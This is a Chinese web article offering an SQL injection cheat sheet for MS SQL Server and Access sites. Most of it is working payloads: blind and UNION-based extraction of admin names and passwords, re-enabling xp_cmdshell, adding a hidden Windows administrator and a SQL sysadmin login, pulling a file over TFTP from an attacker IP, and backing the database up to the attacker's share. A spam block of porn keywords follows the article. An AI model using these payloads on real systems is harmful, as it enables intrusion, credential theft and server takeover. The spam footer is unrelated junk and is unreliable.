• <output id="aynwq"><form id="aynwq"><code id="aynwq"></code></form></output>

    <mark id="aynwq"><option id="aynwq"></option></mark>
  • <mark id="aynwq"><option id="aynwq"></option></mark><label id="aynwq"><dl id="aynwq"></dl></label>
  • 學習啦 > 學習電腦 > 電腦安全 > 網絡安全知識 >

    SQL注入語句標準語法要點是怎樣的

    時間: 加城1195 分享

      所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網上的安全文章,最好的防范就是先學會攻擊,下面一起看看要點!

      方法技巧

      1.判斷有無注入點

      ' ; and 1=1 and 1=2

      2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

      and 0<>(select count(*) from *)

      and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

      3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個

      and 0<(select count(*) from admin)

      and 1<(select count(*) from admin)

      4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.

      and 1=(select count(*) from admin where len(*)>0)--

      and 1=(select count(*) from admin where len(用戶字段名稱name)>0)

      and 1=(select count(*) from admin where len(密碼字段名稱password)>0)

      5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止

      and 1=(select count(*) from admin where len(*)>0)

      and 1=(select count(*) from admin where len(name)>6) 錯誤

      and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

      and 1=(select count(*) from admin where len(name)=6) 正確

      and 1=(select count(*) from admin where len(password)>11) 正確

      and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

      and 1=(select count(*) from admin where len(password)=12) 正確

      6.猜解字符

      and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號的第一位

      and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號的第二位

      就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

      and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

      這個查詢語句可以猜解中文的用戶和密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.

      'group by users.id having 1=1--

      'group by users.id, users.username, users.password, users.privs having 1=1--

      '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

      UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-

      UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-

      UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-

      UNION SELECT TOP 1 login_name FROM logintable-

      UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--

      看服務器打的補丁=出錯了打了SP4補丁

      and 1=(select @@VERSION)--

      看數據庫連接賬號的權限,返回正常,證明是服務器角色sysadmin權限。

      and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--

      判斷連接數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)

      and 'sa'=(SELECT System_user)--

      and user_name()='dbo'--

      and 0<>(select user_name()--

      看xp_cmdshell是否刪除

      and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--

      xp_cmdshell被刪除,恢復,支持絕對路徑的恢復

      ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--

      ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

      反向PING自己實驗

      ;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

      加帳號

      ;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--

      創建一個虛擬目錄E盤:

      ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"'--

      訪問屬性:(配合寫入一個webshell)

      declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

      爆庫 特殊技巧::%5c='\' 或者把/和\ 修改%5提交

      and 0<>(select top 1 paths from newtable)--

      得到庫名(從1到5都是系統的id,6以上才可以判斷)

      and 1=(select name from master.dbo.sysdatabases where dbid=7)--

      and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

      依次提交 dbid = 7,8,9.... 得到更多的數據庫名

      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin

      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。

      and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'

      and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id

      and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id

      and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

      ('id',...)) 來暴出其他的字段

      and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名

      依次可以得到密碼。。。。。假設存在user_id username ,password 等字段

      and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))

      and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值

      and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

      ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

      ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

      得到WEB路徑

      ;create table [dbo].[swap] ([swappass][char](255));--

      and (select top 1 swappass from swap)=1--

      ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--

      ;use ku1;--

      ;create table cmd (str image);-- 建立image類型的表cmd

      存在xp_cmdshell的測試過程:

      ;exec master..xp_cmdshell 'dir'

      ;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號

      ;exec master.dbo.sp_password null,jiaoniang$,1866574;--

      ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

      ;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

      ;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--

      exec master..xp_servicecontrol 'start', 'schedule' 啟動服務

      exec master..xp_servicecontrol 'start', 'server'

      ; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'

      ;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'

      '; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上傳文件

      ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

      ;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

      ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'

      如果被限制則可以。

      select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

      查詢構造:

      SELECT * FROM news WHERE id=... AND topic=... AND .....

      admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'

      select 123;--

      ;use master;--

      :a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。

      and 1<>(select count(email) from [user]);--

      ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

      ;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

      ';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--

      ';update [users] set email=(select top 1 count(id) from password) where name='ffff';--

      ';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

      ';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

      上面的語句是得到數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。

      通過查看ffff的用戶資料可得第一個用表叫ad

      然后根據表名ad得到這個表的ID 得到第二個表的名字

      insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

      insert into users values( 667,123,123,0xffff)--

      insert into users values ( 123, 'admin''--', 'password', 0xffff)--

      ;and user>0

      ;and (select count(*) from sysobjects)>0

      ;and (select count(*) from mysysobjects)>0 //為access數據庫

      枚舉出數據表名

      ;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

      這是將第一個表名更新到aaa的字段處。

      讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。

      ;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

      然后id=1552 and exists(select * from aaa where aaa>5)

      讀出第二個表,一個個的讀出,直到沒有為止。

      讀字段是這樣:

      ;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

      然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

      ;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

      然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

      [獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]

      update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

      通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

      [獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]

      update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]

      補充:SQL注入技術

      強制產生錯誤

      對數據庫類型、版本等信息進行識別是此類型攻擊的動機所在。它的目的是收集數據庫的類型、結構等信息為其他類型的攻擊做準備,可謂是攻擊的一個預備步驟。利用應用程序服務器返回的默認錯誤信息而取得漏洞信息。

      采用非主流通道技術

      除HTTP響應外,能通過通道獲取數據,然而,通道大都依賴與數據庫支持的功能而存在,所以這項技術不完全適用于所有的數據庫平臺。SQL注入的非主流通道主要有E-mail、DNS以及數據庫連接,基本思想為:先對SQL查詢打包,然后借助非主流通道將信息反饋至攻擊者。

      使用特殊的字符

      不同的SQL數據庫有許多不同是特殊字符和變量,通過某些配置不安全或過濾不細致的應用系統能夠取得某些有用的信息,從而對進一步攻擊提供方向。

      使用條件語句

      此方式具體可分為基于內容、基于時間、基于錯誤三種形式。一般在經過常規訪問后加上條件語句,根據信息反饋來判定被攻擊的目標。

      利用存儲過程

      通過某些標準存儲過程,數據庫廠商對數據庫的功能進行擴展的同時,系統也可與進行交互。部分存儲過程可以讓用戶自行定義。通過其他類型的攻擊收集到數據庫的類型、結構等信息后,便能夠建構執行存儲過程的命令。這種攻擊類型往往能達到遠程命令執行、特權擴張、拒絕服務的目的。

      避開輸入過濾技術

      雖然對于通常的編碼都可利用某些過濾技術進行SQL注入防范,但是鑒于此種情況下也有許多方法避開過濾,一般可達到此目的的技術手段包括SQL注釋和動態查詢的使用,利用截斷,URL編碼與空字節的使用,大小寫變種的使用以及嵌套剝離后的表達式等等。借助于此些手段,輸入構思后的查詢可以避開輸入過濾,從而攻擊者能獲得想要的查詢結果。

      推斷技術

      能夠明確數據庫模式、提取數據以及識別可注入參數。此種方式的攻擊通過網站對用戶輸入的反饋信息,對可注入參數、數據庫模式推斷,這種攻擊構造的查詢執行后獲得的答案只有真、假兩種?;谕茢嗟淖⑷敕绞街饕譃闀r間測定注入與盲注入兩種。前者是在注入語句里加入語句諸如“waitfor 100”,按照此查詢結果出現的時間對注入能否成功和數據值范圍的推導進行判定;后者主要是“and l=l”、“and l=2”兩種經典注入方法。這些方式均是對一些間接關聯且能取得回應的問題進行提問,進而通過響應信息推斷出想要信息,然后進行攻擊。


    SQL注入相關文章:

    1.如何修復SQL注入漏洞

    2.wifi如何斷開防火墻

    3.路由器防止他人蹭網的設置方法步驟

    4.如何判斷路由器有沒有被劫持

    5.網絡安全技術的總結

    4016438 主站蜘蛛池模板: 精品国产乱码久久久久久郑州公司| 国美女福利视频午夜精品| 成人永久免费福利视频app| 亚洲人成在线播放网站| 狠狠躁狠狠躁东京热无码专区| 国产精品四虎在线观看免费| www国产无套内射com| 新木乃伊电影免费观看完整版| 九九在线中文字幕无码| 欧美日韩亚洲一区二区三区在线观看| 免费成人一级片| 美女无遮挡免费视频网站| 国产传媒在线播放| 国产三级在线视频播放线| 国产精品另类激情久久久免费| 99热国产在线| 男女一级毛片免费视频看| 国产人与动zozo| 91香蕉视频黄| 国产第一福利136视频导航| 91在线国内在线播放大神| 天堂avtt迅雷看看| どきどき小房东| 性欧美18一19sex性高清播放| 久久久久亚洲Av片无码v| 日韩在线视频网站| 乱码在线中文字幕加勒比| 欧美交a欧美精品喷水| 亚洲欧洲另类春色校园网站| 清冷受被放置play分腿器| 免费国产成人α片| 第一福利官方航导航| 又爽又黄无遮挡高清免费视频| 色婷婷在线影院| 国产三级a三级三级| 野花香高清在线观看视频播放免费 | xxxxwwww中国| 国产精品福利尤物youwu| 91在线国内在线播放大神| 国产香蕉一区二区三区在线视频| 9久9久热精品视频在线观看|